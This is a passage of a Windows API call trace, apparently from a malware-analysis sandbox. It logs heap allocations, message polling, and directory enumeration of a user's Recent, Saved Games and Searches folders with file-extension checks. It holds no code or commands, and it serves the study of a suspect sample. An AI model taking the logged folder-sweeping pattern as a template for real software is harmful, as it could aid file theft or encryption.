dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.581] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0113.581] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.581] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.581] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dd60 [0113.581] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.581] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.581] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.581] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.581] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.581] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.581] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.581] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.581] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.581] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.581] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.581] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.581] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.581] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.581] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.581] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.581] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.581] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.581] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.581] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.581] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.581] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.581] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.581] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.581] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.581] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.581] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.581] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0113.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.582] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.582] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.583] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0113.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.584] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.584] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.585] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.586] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.586] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="Recent\\" [0113.586] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.586] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0113.587] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.587] PathFindFileNameW (pszPath="") returned="" [0113.587] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76dbddb0, ftCreationTime.dwHighDateTime=0x1d4ce16, ftLastAccessTime.dwLowDateTime=0xc58b2780, ftLastAccessTime.dwHighDateTime=0x1d4d3cb, ftLastWriteTime.dwLowDateTime=0xc58b2780, ftLastWriteTime.dwHighDateTime=0x1d4d3cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X7bnh_OS", cAlternateFileName="")) returned 0xffffffff [0113.587] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.587] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.587] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="Saved Games\\" [0113.587] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.587] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.587] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.587] PathFindFileNameW (pszPath="") returned="" [0113.587] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0113.587] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.587] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.587] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini") returned=".ini" [0113.587] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0113.587] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0113.587] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.588] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.588] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="Searches\\" [0113.588] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.588] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.588] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.588] PathFindFileNameW (pszPath="") returned="" [0113.588] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0113.588] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: 